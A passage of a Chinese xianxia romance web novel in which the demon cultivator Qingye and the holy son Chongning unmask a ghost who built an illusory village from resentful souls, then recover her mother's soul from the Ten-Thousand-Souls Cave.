柯狐依旧询问他们要不要用餐,被拒绝后,再一次提醒他们不要晚上出门。 但今日夜晚,是时候要行动了。 夜晚的村庄如昨夜般,死气沉沉,没有一盏灯亮着。三人悄悄出了竹舍,借着夜色的掩护,沿着溪水往村外走。 刚走出曲西村的结界,周围的氛围便骤然变了。浓重的雾气从山谷间涌来,空气中弥漫着刺骨的寒意,无数怨气在暗处盘旋,与上次青叶遭遇的场景一模一样。 “怨气出现了!”洄夜眼睛一亮,率先迈步走进浓雾,“循着怨气找,肯定能找到万魂窟!” 善镇也提议道:“殿下,不如我们分头探查,找到线索再传音联系?” 他随洄夜一同向前,一脚踏入了浓雾之中。 青叶皱了皱眉,也向前去。 可她刚走出几步,便觉不对。 浓雾裹挟着青叶,将她拉入了深不见底的雾气之间。 不好,这雾气似要将他们分散。 青叶的寒烟出动,淡紫色的魔气驱散周围的雾气,可等视线重新清晰时,洄夜与善镇早已没了踪影,而她则身处一片密林之中。 她来不及细想,因为前方的林木深处正传来 “嘶嘶” 的鸣叫声。 寒烟围绕着青叶的身躯,保护着她一步一步向前进。 她听着这声响,似乎是蝠妖。这种妖物比普通蝙蝠大数十倍,翅膀展开能遮天蔽日,夜里常成群结队地捕猎,十分凶险。 青叶指尖凝聚起魔气,在黑夜中散发出幽静的光芒。只待她走近,便能杀了前方的妖物。 可当她拨开树枝,看清前方的景象时,却愣住了 —— 一只蝠妖倒在地上,早已没了气息。 有人先她一步杀了这妖物吗?可她方才明明还听见这蝠妖细微的鸣叫声。 这片林中,除了她还有别人。是善镇或洄夜找来了么? 青叶低头查看这妖物,却发现,尸体上残留的是剑气的痕迹。 剑气精准地斩断它的翅膀,割开它的喉咙。 是谁,用剑气先她一步杀死了蝠妖。 身后的密林忽然传来一阵细微的窸窣声,青叶猛然回头。 “……重宁?”她脱口而出。 可眼前是一片漆黑诡异的深林,漆黑的树影在月光下晃动。回应她的,也只有山间的寂寥风声而已。 作者有话说:小宁:一边自我调理一边跟踪老婆中 第22章 青叶唤出那个名字后, 自己都觉得荒谬。 重宁怎会在此处呢? 他大概早已回到无垢宗,继续做他高高在上的圣子,受万人敬仰, 再也不会与她这个魔修有任何牵扯。 她摇了摇头,将杂念压下, 继续在阴暗的树林中前行,脚下的落叶轻响, 四周的树木枝桠掩映在夜色间。 走了没几步,青叶忽然停住脚步。她已看出, 这里应该被设了一个阵法。 她试图找到阵眼所在之处, 但弯弯绕绕地走了一圈后,竟又回到了原地,蝠妖的尸体还躺在那里, 伤口处的血迹尚未完全凝固。 青叶蹲下身,盯着蝠妖的尸体看了片刻, 指尖忽然凝聚起淡紫色魔气, 化作一柄细刃,割开蝠妖未腐化的腹部。 墨绿色的妖血顺着刀刃滴落,她抬手将血洒向四周的草木, 妖血沾在叶片上, 散发出刺鼻的腥气。 很快,窸窣的振翅声一涌而来, 无数只巴掌大的幼年蝠妖循着血腥味飞来,黑压压的一片, 要将那尸体吞噬殆尽。 青叶趁此机会飞身而起,向那群蝠妖的来处而去。 蝠妖们飞得很快,但她的身法也不慢。 活物涌现之处, 就是这个阵法的出口。 穿过繁茂的密林,霎时间,青叶已从繁茂的密林里又回到了先前的浓雾之中。 她指尖燃起一团魔火,为她照亮前行的路,走着走着,前方一个提着灯的人影缓缓现出,朝她逼近。 是柯狐。 他的神情不似昨日那般和善,脸上带着几分僵硬,仿佛戴上一张面具。他看着青叶,温声道:“姑娘怎么出来了?” “我不是说过,夜晚不要离开曲西村吗?” 说话间,他的目光落在青叶指尖的魔火上,瞳孔微微收缩,“姑娘前几日自称散修,但这是——” 青叶已被发现,却并未收敛。 她指尖微动,那团魔火忽而向柯狐扑去。他却并未躲闪,火焰熊熊燃烧,将他的一副皮囊燃烧殆尽。 衣物与皮肉在火中化为灰烬,露出里面半透明的魂体。 ——他显然是个孤魂野鬼。 “柯先生不也没说实话么?” 青叶的声音冷了下来,“曲西村外根本没有什么散修结界,只有无尽的怨气。而这整个曲西村,恐怕都是用怨气炼化出来的幻境。” “那些怨气所炼化的,恐怕就是这整个曲西村。” 村里的村民、田地、屋舍,全是傀儡。 他们看似安居乐业,实则像白日里那个绣花的女子一般,只会机械地执行设定好的 “任务”,没有真实的情绪,更算不上 “活着”。 “曲西村内,恐怕只有你一个活人,哦不,活鬼。你汇聚了万魂窟四散的怨气于此地,建立了这个村庄。” 可即使利用了这么多的怨气,也无法一直支撑着这村子运行。先前死去的梅香奶奶就是证明。她并非真的死去了,而是这个幻境已经无法维持这么多的傀儡皮套,所以她就此幻灭了。 青叶说着,眼前柯狐的神色愈发阴鸷,半透明的身影在浓雾中若隐若现。 “你在附近设下无数阵法,捕猎妖物和误入此地的人,以他们的精魄来喂养这个巨大的幻境。” “我们一行人,也是你带入圈套的猎物吧。” 柯狐的魂体在浓雾中微微晃动,脸上的温和彻底消失,阴恻恻地笑起来,再不复那文雅书生模样。 “知道便好。”他提着灯,幽深的双眸盯着青叶,“我知你们法力高深,但——也是最好的养料。” “为了我的村子……杀再多人也无妨……”柯狐喃喃道。 青叶见他如此,忽又开口:“你入了鬼修,而村子里剩下的这些残魂却被你关在这个幻境牢笼中制成傀儡,不得入轮回。” “你看似珍爱这个村子,实则不过是在满足自己的执念。” 她话锋一转,“我无意管你的闲事,但你汇聚的怨气来自万魂窟。” “告诉我万魂窟的位置,我便放过你。” 然而,青叶的最后一句话却仿佛像触痛了他的痛处一般,令柯狐猛烈挣扎了起来。 “决不!我决不会告诉你!” 他嘶吼着,话音未落,天地骤然变色,清晨的微光被铺天盖地的怨气遮蔽,无数黑色气流化作利刃,向青叶袭来。 青叶的魔气屏障顿时显露,可怨气越来越多,周边的农舍和田地正在慢慢化作灰烟。柯狐竟是直接破坏了他造出来的幻境,吸收幻境的力量,要置她于死地。 就在魔气屏障快要撑不住时,一道金色剑光忽然划破浓雾,瞬间将她身前怨气击溃。 那道剑光又化作一柄巨大的透明长剑,横于青叶身前。 剑柄朝着她,像是在邀请她踏上。 青叶不过犹疑片刻,便踏上剑身,长剑立即带着她升空,躲开了身后汹涌而来的怨气。 大约是怨气都被吸引至曲西村的缘故,此时的山谷间反而是一片清明,日光透过薄雾,笼罩在荒山上。 长剑将青叶送至安全地带后,便缓缓消失不见。 青叶的指尖穿过剑身的虚影,她再次喃喃道:“……重宁。” 是他么? 暂时避开了危险,青叶低头检查自己的身体,很快发觉不对。 怨气虽被那剑光击溃,但终究会有缠上她的几缕。可此刻,她身上干干净净。 怨气本就不可度化,即便被击溃,也该四处逃窜,怎会彻底消散? 除非……是有人替她挡下那一击后,又将怨气吸收了。 可吸收怨气之人,却要承担下那怨气背后所有的恶念与挣扎,轻则道心不稳,重则自爆而亡。 “重宁!”青叶转过身,朝着方才剑光消散之处喊道。 没有人回答她。 “重宁,你出来!” 他已为她受了太多伤,如今若再被怨气侵体,得不到及时诊治…… 她在附近的树丛中翻找,却连半个身影都没见到。 她的手微微地颤抖,唤道:“……重宁,我……” 就在此时,一只宽大的手掌握住了她的手腕。 熟悉的凝神草气息从背后将她笼罩住,在她周身蔓延开来,令人安定。 “阿叶,你在找我?” 清润的声音在耳边响起,平静的,却带着几分不易察觉的笑意。 青叶猛地回身,撞进身后人的怀里。 真的是他。 他竟没有走。 重宁站在她面前,玄色衣袍上沾着些许尘土,却依旧身姿挺拔。 他握着她手腕的力道渐渐收紧,眸中情绪慢慢由温和转为幽深,盯着她的眼睛问道:“你刚刚,是在担心我么?” “我……”青叶一时怔住。 “没关系,不必回答。”他忽而笑了,又道,“只是,你既唤我出现……” “那么……日后若想再甩开我,便没有那么容易了。” 青叶看向他的眸底,那里本似一汪清潭般平静无波,此刻却因她而翻涌出深沉的执念。如春草细芽般疯长,繁衍不息,根深叶茂- 重宁紧紧攥着青叶的手,带她来到一处隐秘的山洞中。 此处被他施加了结界符箓,能隐藏气息与声响。终于将青叶带至安全之地后,重宁才终于支撑不住,踉跄两步,一口黑血吐在地上。 “重宁!”青叶连忙扶住他的手臂,让他靠在石壁上缓缓坐下。 他仰头闭着眼,嘴角的血迹格外刺眼,眉间蹙起,显然在强忍着痛楚。可目光落在她身上时,依旧带着不安,仿佛下一秒她便要弃他而走。 青叶叹了口气,伸手掀开他的衣领,重宁光洁的胸膛上,数道黑色气流顺着他的经脉四窜,却被他忍着痛楚,强行压制。 她的手贴上了他的胸口,以她拙劣的医术,缓缓将那些怨气引出。 怨气在圣子大人圣洁的身体中走了一遭,被引出时已没有生机,化作灰烟消弭。 “……为什么?”青叶低低问道。 “什么为什么?”重宁微微喘息着,青叶为人治伤的手法还是十分笨拙,疼痛和窒息感交替袭来,可因为是她,即使是痛楚,他也觉出几分回甘。 “为什么还要回来?”她先前明明对他说了那样过分的话。 青叶觉察到重宁的隐忍,手上动作不禁再放轻了些。她的指尖擦过他赤裸的肌肤,不禁微微一颤。 似叹息一般,重宁轻阖着眼眸,开口:“我怎么放心让你一个人。” 那日他的确是被她伤了心。 怎会有这样的女子?让他动心动念的是她,吻上他的是她,牵了他衣袖不愿放开的也是她。 最后却用一句“朝夕露水之情”将他们之间的一切斩断。 可重宁怎能就此离开。 从前在无垢宗时便不放心她,她喝的药他要亲自写方子,赠她圣物梦吟,怕她惹上什么麻烦危及自身。在山间设下结界,不愿外人知晓她真实身份。 即使他这样护着,青叶还是能时常将自己弄出一身伤。 实在放不下,还是要回来。 那日被她抛下,重宁与星驰交代了些与掌门说的话,便要再回去寻青叶,星驰十分无奈地劝他: “阿宁,她毕竟是魔。” “到最后若是一拍两散,反倒平添了仇恨。” 可她是人又如何,是魔又如何? 重宁听见自己说:“我只爱她。” 至于恨。 他此刻心里便已然有恨,恨她无心无情,恨她不愿信他,恨她将他抛下,可最后却发觉,他最恨的是自己不能让她多爱一些。 重宁之言让青叶心头泛起酸涩之意,“何必要吸收那些怨气……何必要帮我到这个地步。” 重宁抬起手,似想要抚上她落下的一道发丝,最终还是缓缓放下,“若怨气侵袭的是你,我恐怕会更痛。” 他仍记得上次青叶因吸入怨气而心魔发作之时,卷着毯子滚落在地,痛得连声音都是细弱的。 重宁喜爱她依赖他时的模样,总是只有在昏迷或睡梦中,她才能真正相信他,靠近他,让他拥入怀中。 可他更不愿见她痛苦难受。 青叶的眼睫轻轻颤动着。她此刻已将怨气尽数引出,还好,重宁修为高深,又是身为圣子的纯净之体,怨气对他造成不了太大的伤害。 可她的手还停留在他的胸口前。重宁的心脏就在她的手掌之下,一声一声地跳动。 时间仿佛凝滞在这一刻。 青叶心里其实想着许多事,想着洄夜和善镇在何处,以及柯狐的下落。 可此时此刻,占据她内心最多的,还是身前的重宁。 重宁一眼便看穿了青叶的心思。 “你不必担忧你那两个属下。”他淡淡道,“我暂时将他们关进附近的一个阵法中。” “他们一段时间后便能脱身。” 他终是抚上了她的发丝,“我不过是想与你共处……多一些时间。” 那些闲杂的,无关紧要的人,还是眼不见为净最好。 青叶有些讶然地抬头看他。 圣子大人竟也会用这样的手段…… 重宁的双眸对上她,映照出她的身影,声线又放得轻柔了些,“阿叶,告诉我,你在此地要做什么?” “我会助你。” 既然是利用他,便利用到底吧。 青叶闻言,神色怔怔。 重宁看着她,十足耐心,终于等到身前的小狐狸微微卸下防备,垂眸轻声道:“我要为我母亲引魂。” 青叶终于将自己的一切和盘托出。 这是她第一次相信一个仙人。 “我不怕痛,不怕死,却不想死。” “在玉京海,我捏碎了自己的魔丹,就是为了活下去。” “沉星海幻境中,我见到了母亲。我从前没有了关于她的记忆,可见到她那刻我就知晓我们之间的联系。” “她想念我,我也想念她。” “我一定要去见她,不能让任何人破坏她的魂魄。因此不能让任何人动用她身上的血契骨符。” “我知晓了。”重宁沉吟道。 “你的心愿必会达成。”他说。 他如此坚定,青叶也不禁有些动容,她扣在掌心的手指放松了些。 “休息一会儿好么,你累了许久了。”重宁道。 “可……”青叶有些犹豫。她还在想柯狐之事,需要找到他,才能得到万魂窟的线索。 然而重宁宽袖轻拂,让她落入他臂膀中,凝神草的气息传来,多了丝丝缕缕的安眠之效。 “你——”青叶微微睁大了眼睛,没想到他竟如此…… “和你学的。”重宁眼底盈着笑意,像是知晓她在想什么,如哄孩子一般,“放心,你要抓的那鬼修跑不远。” 重宁宽大的手掌覆在她的眉心,缓缓揉开她眉间的皱痕。 “莫要蹙眉……” 他会替她处理好一切。 青叶伏在重宁腿上,嗅着他身上独有的凝神草气息,紧绷的神经竟终于放松,不知不觉便睡着了。 重宁低头看着少女的睡颜,她的呼吸轻柔,身体也轻得像一只小鸟似的,仿佛随时会从他身边飞走。 柔软的发丝在他手掌心摊开。 从前在宗门时,她还会露出真心实意的笑容,同夏昭一起是也欢欢喜喜,如今,脸上的笑越来越少。 清瘦的少女,身上却压了那样多沉重的事物,他要如何如何爱她、保护她,才能让她再无负担地展颜? 作者有话说:重宁:调理好了,别管 第23章 青叶迷蒙地睁开眼。 入睡时是清晨时分, 如今已至傍晚。 山洞外,夕阳染上天际,又被厚厚的浓雾遮蔽, 显出一团模糊的色彩。 她很快清醒,发觉山洞中只有她一人。 “……重宁。” “重宁?” 她话音落下, 没多久,一个人影被扔进了山洞中。他被五花大绑, 嘴中被塞了块石头,狼狈地在地上打滚。 这人正是柯狐。 随之走进的, 是一袭白袍的重宁。 “你……”青叶惊道, “你竟找到了他?” “自然。”重宁微微一笑,“刚将他绑好,便听见你在呼唤我。” “你不是要找这鬼修么?”他微微垂眸, 沉吟道,“我说过, 你什么也不用担心。” “他被我的剑光击中, 在这迷宫般的大山里,根本跑不远。” 青叶微微有些惊诧。 她一时间,觉得重宁仿佛哪里变得不一样了。 但她却说不上来。 只觉得, 从前如雪如玉般光风霁月之人, 此刻却陡然升出些偏执与狠厉。 他身上那股高不可攀,绝世出尘的气质, 也仿佛被打破,染上了细微的魔气。 青叶叹了口气, 说:“其实我本也不想为难他,只是需要从他口中得知万魂窟所在之处。” 重宁指尖一挥,柯狐口中的石头滚落。 “你听见了, 她要知道什么。”他语气淡淡,却带着不容质疑的威压。 “说。” 柯狐此时终于露出些惧怕之意,却仍倔强地道:“我……我不会告诉你的。” 重宁望着他,最后低低叹了口气:“你竟还活在千年前的回忆中。” 柯狐目光凝滞,忽而饱含泪水。 青叶忙问道:“这是怎么回事?” “我方才吸收了那些怨气,怨气都来自于千年前曲西村之人,自然知晓他们发生了什么。” 重宁的神色在此刻终于透出些悲悯之意,“他们也是可怜之人。” 原来,柯狐口中的曲西村其实真的曾经存在过,也的确是由一群散修建立起的世外桃源。 那时,界外之地还不似如今一般灵气稀薄,只是有些荒凉罢了。曲西村自给自足地发展着,村子虽小,人们却幸福美满。 只是有一日,在此沉眠已久的上古邪祟烛阴烬忽而苏醒,祂这一醒,便惊动了整个鹤州。六界都派了人来,要将这邪祟彻底镇压。 最后,千余修士汇聚而成的心头血骨符将邪祟再次封印,只是这封印的余波浩荡,波及了整个界外之地。 六界都以为,此地荒无人烟,即使是被封印之力影响也无大碍。 却不知,有一个小小的村落因这场震天动地的风波而彻底消亡。 “所以……”青叶听完了整个故事,看向柯狐,“你多年前身死,入了鬼修,将村民们的残魂制成傀儡,就是为了再将曾经的曲西村复原?” 重宁的灵力威压使柯狐稍微恢复了神智,他闻言缓缓点头,道:“我无法原谅自己……当初那群镇压邪祟修士入山,是我为他们引的路……” “他们要找万魂窟,我告诉他们在哪里,可我却不知是为了封印烛阴烬……” “等我意识到不对时,已经晚了。” “我冲去万魂窟,想要阻止他们,至少让我将村民们疏散。可那群修士根本不将我放在眼里。他们说……他们等不了了,必须要尽快封印烛阴烬,否则将为害天下。” “他们,他们明明知道此处有人生活,却还是为了所谓的天下大局,设下封印,埋葬了整个曲西村。” “其实,我并非和村民们一起死在封印的余波之下。那群修士中,他们有一部分人修为极其高深,能够在封印的冲击下庇佑自身,我被他们庇护,保住了一条命。但剩余的低阶修士,他们的肉身、魂魄、以及心头血,都化作了镇压烛阴烬的封印。” “我跟着高阶修士们离开了界外之地。我装作顺服,实际上内心恨透了他们,于是偷拿了封印烛阴烬的血契骨符,逃走了。” “我逃去了西边的鬼界,因为在那里能躲避仙界的追捕。后来我修炼成为鬼修,这时仙界早已忘了我这号人,我将那骨符换了许多的天材地宝,包括傀儡符。之后,我又回到了曲西村。” “这么多年过去了,从前村子里的人已变成游魂,游荡在万魂窟附近。我用傀儡符让他们一个个回来,这就像我的一个美梦一般。” 柯狐一边诉说着过往,声音从最初的颤抖渐渐归于平静,眼底的偏执也淡了几分。 “我只是想让村子回来,让大家都好好的…… 我有什么错?” 他的话音落在山洞中,久久没有回音。 重宁沉默片刻,指尖轻轻捻动法诀,一道微弱的白光从他掌心升起。 残破的魂魄碎片凝聚成形,竟是梅香奶奶的上半身魂体。 柯狐猛地抬头,瞳孔骤缩,声音带着难以置信的颤抖:“梅香……奶奶?” “阿狐,好孩子。” 梅香奶奶的魂体飘到他面前,虚幻的手轻轻捧着他的脸,语气温柔,“放下执念吧,我们都该离去了。” 两道魂体在空气中相拥,柯狐想流泪,却连实体的泪水都流不出,只能紧紧闭着眼,肩膀不住地颤抖。 即使是重宁的法术,也只能为梅香奶奶残破的魂体支撑片刻,不过一会儿,那魂体便开始涣散,被他重新收回掌心。 “若你能带我们去万魂窟,” 重宁看向跪倒在地的柯狐,语气平静,“我可为村中所有残魂超度,让他们入轮回,不再受幻境束缚。” 柯狐伏在地上,良久才缓缓起身,眼底的失神被疲惫取代:“罢了,罢了……” 他猛然抬头,虽有犹豫,却还是咬牙道,“仙长既说话算话,我便为你们引路。但你得在此处先兑现承诺,否则我不敢信你。” “我知晓了。” 重宁颔首。 他转身走向青叶,轻轻捉住她的手腕。 微凉的触感传来,他竟将梦吟重新系在了她的腕间,淡金色的芙蓉花在触及她手腕的瞬间,再次绽放,带着熟悉的宁静气息。 “不许再摘下了。” 他的声音似要求,又似恳求,“我得知道你是否安全。” 青叶微微愣住,腕间的缠绕着冰凉的梦吟,芙蓉花微微垂坠着,仿佛是坠着他的牵挂。 “你会回来的,对吗?”重宁这样说道,又轻笑了一声,语气带着几分自嘲,“不会再像从前那样,得到想要的东西后,便将我弃之而去了,对吗?” 面对此刻的男人,青叶无论如何也说不出拒绝之言。 “我会回来的。”她轻声道。 青叶同柯狐离开山洞,一路往北而去。 脚下的路越来越崎岖,四周的山峦被浓重的怨气笼罩,原本枯黄的草木在此地化作灰黑色,行至一处峡谷尽头,一座巨大的坟墓显现,墓上布满了黑色藤蔓,缠着丝丝缕缕的怨气。 大约没人想得到,这座坟墓便是埋葬烛阴烬与无数修士之地。 柯狐带她来到此地后,便不愿再进去。他说:“我就送你到这里了,你随着怨气便能找到入口。” “我一来到这里,便想起多年前,我身在那群修士身边,眼睁睁看着他们毁了我的家。” 他举起自己微微透明的手掌,指尖微微有荧光闪烁。 “我感觉得到,那位仙人真的在为他们超度。如今,我夙愿已了……” “我知道,自己为了让村子回来,被困于执念之中,罪恶深重。” “灰飞烟灭,或许是我最好的结局。我不愿离开这里,若魂魄能融于界外之地的万物之中,也算是回到了我从前生长之地。” 柯狐平静地说着,青叶下意识向着他上前一步,却见他透明的身体已开始慢慢消散。 最终,化作点点荧光,落于尘土之中。 青叶叹息一声,独自一人循着怨气进入万魂窟。 柯狐已经离去,但她始终察觉,身后存在着微不可察的声响。 有人在跟着她。 且不似先前重宁那般温和的气息,而是带着几分刻意的轻缓,像猎手在暗中蛰伏。 她行至墓中一处空旷的洞穴,冷笑一声,说:“善镇,出来吧。” 寒烟轻拂,青叶的周身骤然凝聚出她早已准备好的阵法,将身后的身影牢牢锁在一圈淡紫色的火焰之中。 善镇的身形显现,黑色的翅膀从他背后展开,扇动间驱散了部分火苗。 他振翅飞至空中,青叶抬眼,语气带着嘲讽:“我该唤你善镇,还是 —— 魔将虞九幽?” 火焰中,“善镇” 的面容忽然泛起一层扭曲的涟漪,像是劣质的人皮面具被高温灼烧。善镇渐渐剥去了自己原来的面孔,平平无奇的外表剥落,露出其下英武瘦削的一张面庞。 青叶盯着那张脸,眼底没有意外,只有冷然。 果然是他。 “玉菡,你还是那般聪明。”虞九幽勾起唇角,笑容却未达眼底,黑色的翅膀在他身后缓缓展开,羽尖泛着冷光。 他的声线忽然放柔,似长辈在同小辈寒暄,“什么时候发现的?” “还有,怎么不喊我虞叔叔了?” 青叶像是听见什么好笑的事情,“你派人追杀我与洄夜时,可曾想过自己是我叔叔?” 她初至界外之地时,就怀疑过这位所谓忠心耿耿的魔将。 洄夜口中,他坚守此地多年,可后来那日与她在茶室对谈,却口口声声说要投奔叛军。 于是青叶很快发觉,那根本是一次试探。 更何况,她来到界外之地这么久,连无垢宗都派星驰来过一回,对她紧追不舍的叛军怎会怎会毫无动静,轻易放过她? 除非,虞九幽早已找来此地,提前埋伏。 直到那日茶室对谈,她才确定,眼前的 “善镇” 早已被虞九幽取代。 她为了揭穿他的面孔,特意命他此次随行。 虞九幽脸上的笑容淡了些,试图辩解道:“先前派人设伏,不过是为了逼你交出母亲的血契骨符,手下人不知轻重,竟将你逼至玉京海,才伤了你。” “后来你去了仙界,我便只让人暗中跟着,调查你的行踪罢了。” “我以善镇的身份在你身边这么久,何曾要真的害你?” “你在仙界的事情我已知晓,那想加害于你的仙人,我不会放过。” 他展开翅膀,掌心凝聚出一道黑色魔气,魔气散去时,一道蜷缩的魂体落在地上。 竟是……赵如强?青叶不禁震惊,后退了几步。 赵如强的魂体被魔气缠绕,像被无形的锁链捆住,一落地便发出凄厉的哀嚎,在地上翻滚挣扎。 “这仙人偷学魔功,还在无垢宗设计害你,我已将他的魂魄囚在炼狱里折磨了半月。” 虞九幽语气平淡,指尖轻轻一点,一道魔气刺入赵如强的魂体,让他的哀嚎声又拔高几分,“你看,害你的人,我都帮你收拾了。” 青叶侧过了脸,并不愿意看这刻意的示好。 倒不是因为她还对赵如强有恻隐之心,此人作恶多端,千刀万剐都不为过,可虞九幽用这般残忍的手段,不过是想假惺惺地拉拢她罢了。 虞九幽见她不为所动,便将直接将赵如强的魂体碾碎,弃之如敝履。 他收起了狠厉,声音放得更柔,像在回忆往事:“玉菡,我们才是真正的一家人,你刚刚出生时,我是除你父母以外最先抱过你的人。” 青叶摇摇头,“不必打感情牌,这些事情我已尽数忘了。” “我知晓,你忘记了从前的事情。可后来你离开焚月塔,性子变得执拗,许多次你与你父尊对峙,是我在其中劝和,这些事情,你也忘了吗?” “我没忘。” 青叶终于转头看他,眼神却冰冷,“但我更没忘,是你指使叛军将我逼至玉京海,让我不得不捏碎魔丹才得以保命。” “玉菡,我已说过,那并非我本意。”虞九幽叹息一声,“你是沧澜的女儿,我虽与他理念不合,却不忍真的与你刀剑相向。” “为何不肯信我?只要你与我联手,烛阴烬封印一破,万魂窟的怨气便会四散,席卷鹤州。界外之地将成为鹤州的最大威胁,那些自诩高明的仙门将人人自危,而魔族则能一举侵入。” 青叶嗤笑一声,摇摇头,“你找错人了,我对你的大计没有丝毫兴趣。” 寒烟释放出的火焰愈烧愈盛,淡紫色的火舌舔舐着虞九幽的翅膀,,青叶显然想要将他彻底困死在此处。 “你去了趟仙界,还没有看清他们的虚伪面目吗?”虞九幽的声音终于带上了几分怒意,“我曾同你说过,我们魔修并非生来就是魔。你父亲后来疯疯癫癫,神志不清,也并非他所愿。” “这一切,根本是仙界一手造成的!都是仙界种出的因,他们自食恶果不是用应当之事吗?” “……你说什么?”青叶心头猛地一震,这才转头看他。 虞九幽还在假扮善镇时,的确曾和她说过,两百年前的心魔之乱后,无数仙人走火入魔,化身为魔,又生下后裔,令魔族再次壮大。 但没想到……这场动乱竟与仙界有关。 她还想再从虞九幽口中套出些话来,但此刻他们二人的对峙引发了万魂窟的震动,数道怨气从四面八方向他们袭来,无数石块簌簌砸落,寒烟的锋芒更甚,淡紫色的火焰将虞九幽围绕起来。 虞九幽脸色一变,背后的翅膀骤然收拢,同青叶说道:“你想必已从柯狐口中听闻曲西村多年前之事,仙界人的嘴脸就是如此,为了利益不惜以活人殉葬。” “多说无益,你好好考虑罢。”虞九幽一边抬手迅速施咒,一边同青叶说,“我只告诫你,若不信我,也不要轻信仙人。” “再会,玉菡。” “这一次我不会对你出手,但下一次相见,若你还是不愿与我联手,我们只能兵戎相对。” 虞九幽背后的翅膀将他包裹起来,如同一个黑色的茧,在火焰中消弭了,只剩下一副善镇的皮囊,落在淡紫色的火焰中,燃烧殆尽。 青叶意识到,他真人并不在此处,善镇皮囊之中的,不过是他的影分.身罢了。 她心里冷笑一声。什么这次不会对她出手?说得好听,不过是此时被她魔阵所困,万魂窟又情况不明,因而火速逃走罢了。 虞九幽说一套做一套,他的话她自不会信,也不可能与他联手。 只不过,他口中有关魔修与仙界之事…… 青叶收回心绪。此刻万魂窟剧烈震动,但她并未生出惧意,而是继续向前。 她要去找母亲,不会被任何事物阻拦。 穿过层层怨气,行至万魂窟的最深处,黑暗中忽然亮起两点幽光。 她见到了被怨气包裹着的,一双巨大的眼睛。 瞳孔是深不见底的黑色,周身缠绕的怨气比之前更浓,带着碾压性的威压,让青叶的呼吸都微微一滞。 “魔修,你在我的身体里做什么?” 那对 “眼睛” 缓缓开口,声音低沉,震得整个洞窟都在颤抖。 “我来找我母亲的魂魄。”青叶拿出了怀中的命灯。 她用魔气割破了手指,鲜血再次染红手中的灯。 与先前不同,这次的命灯并非只泛起点点微光。鲜血触到灯芯的瞬间,金色的光芒骤然从灯身迸发,连周遭肆虐的怨气都被光芒逼退了几分。 黑暗中,那双巨大的眼睛忽然微微眯起,原本碾压性的威压像潮水般退去,取而代之的是几分温和的好奇:“原来是她,你是她的女儿。” 万魂窟的震动渐渐平息,洞顶不再有石块砸落,青叶紧绷的脊背稍稍放松,握着命灯的手却更紧了些,试探着开口:“您就是烛阴烬?传说中的上古……” 她没有将“邪祟”这二字说出来,语气里带着几分谨慎。 那双眼睛慢慢笑了,不再那么凶戾,“倒是个有礼貌的小姑娘。” “我的确是烛阴烬,只不过,我其实并非邪祟,不过是远古一兽类游魂罢了。这片万魂窟,其实是我的坟墓。” “我在此沉睡许久了,只是不知从何时起,人类的怨气开始缠着我,越来越多将我束缚在此处。” “我苏醒后,便想挣脱,但人们却以为我是庞大的邪祟……”烛阴烬叹息一声,语气带着几分怅然,“他们设下封印,将我困在此处。” “封印之后,我周身的怨气与魂灵越来越多。” “这下,我除了日复一日地沉睡休憩,也没什么好做的了。” 青叶听得怔住,手中的命灯忽然轻轻颤动,灯身的光芒好似与远处的一道气息产生了共鸣。 烛阴烬的目光落在她手中的灯上,继续道:“你口中的‘母亲’也是多年前来到我身边的一道魂灵,只不过,她身上附着封印我的血契骨符,我记得很清楚。” “她来到此处后,便在那张符纸中闭关了起来。” 话音刚落,一张泛黄的薄薄符纸从黑暗中缓缓飘出,落在了青叶身前。 感受到她手中命灯的光芒,符纸便像有了生命般,紧紧地贴上了灯的边缘,将其包裹了起来。符文与青叶指尖的血迹渐渐融合,散发出温暖的气息。 “我曾尝试过用这张符纸为自己解除封印,可这些魂魄与怨气早已和我的身体生长在一起,我再也挣脱不了了。” “我不太喜欢人类,本是想将你吞噬。”烛阴烬的目光再次落在青叶身上,“但你是来寻母亲的,我便放过你,你走吧。” “这里不是人类该久留的地方。” 周遭的怨气再次动了起来,却不再是攻击的姿态,反而像在为青叶开路,让出一条通往坟墓洞穴外的小径- 青叶沿着烛阴烬为她开出的路向前走,脚下的怨气像温顺的水流般向两侧退开。 直到再次来到坟墓入口之时,入口处生长的藤蔓忽而发了狂般挥舞起来,将它们以为的入侵者甩了出去。 青叶下意识握紧命灯,身体却不受控制地腾空,眼看就要撞向身后的岩壁,一道温和的微风忽然从前方袭来,轻轻托住她的腰肢,将她稳稳接住。 青叶再次回头时,万魂窟的入口正在飞速闭合,原本松散的岩壁像有了生命般向内挤压,黑色的藤蔓以肉眼可见的速度生长、缠绕,短短几息间便织成密不透风的网,将洞口彻底遮掩,连一丝光亮都不再透出。 大约是,烛阴烬不再愿意让人打扰了。 “留神脚下。” 熟悉的声音在耳畔响起。 青叶还未回过神,便见蔓延至足旁的黑色枝蔓被灵气斩碎,而她则被一双温暖的手臂揽进怀中。 她抬头,撞进重宁含笑的眼眸里。他衣摆上沾了些许尘土,却依旧身姿挺拔,眼底的温柔将她整个人都包裹其中。 重宁来接她了。 “你……”青叶愣愣地看向他,想问这人到底是怎么做到一次又一次都能找到她的。 重宁似乎看穿了她的心思,低头轻轻揉了揉她的发顶,“柯狐魂魄消弭后,化作微芒,为我带路。” “阿叶,我当然是要来寻你的。” 第24章 夜色渐深, 浓重的雾气再次包裹了界外之地。 青叶抱着裹上骨符的灵灯,同重宁踏上回程之路。 母亲的魂魄在骨符中闭关休憩,她暂时不去打扰, 总之,如今的母亲, 只与她相隔一张薄薄符纸罢了。 她很高兴,但重宁却眸色沉沉, 刚回到暮水殿,便把她一把抱上了床榻。 是要她休息, 给她看伤的意思。 方才为了对付虞九幽, 青叶一身的确魔力散去不少,但她不想承认,有些恼火地锤了他一下, “我没事。我才没那么虚弱。” 重宁也不躲,任她施为, “万魂窟偏险古怪, 去那儿走了一遭,我得确认你无事才行。” 再者,青叶有过度耗竭自己身体的前科, 他不能再信这人口中的说的没事。 青叶挣不开男人的手, 只好任他攥住自己的手腕,探查脉息。 治愈的灵力缓慢地传送进她的经脉之中。 重宁的医道比她习得好多了, 他为她治伤时,总是润物细无声一般, 十分温柔,不会让青叶感到一丝不适。 青叶想到自己给他治伤时却时常有些粗暴,不禁心虚地缩了缩脑袋。 重宁就坐在她身边, 清隽如玉的侧颜近在咫尺,眼睫微垂,如同先前的几次,他陪在她身边。 好似他们没有分别那么一遭。 青叶没有承认过,但他的存在其实让她觉得安宁。 他回来她身边,她漂浮的心灵又慢慢慢慢地落定了。 可,这样出尘绝世的仙人,为何要爱她呢? 她从前不曾察觉,亦或是不想细究他对自己的情意有多深重。 因为她自己也没有真正投入多少真心。 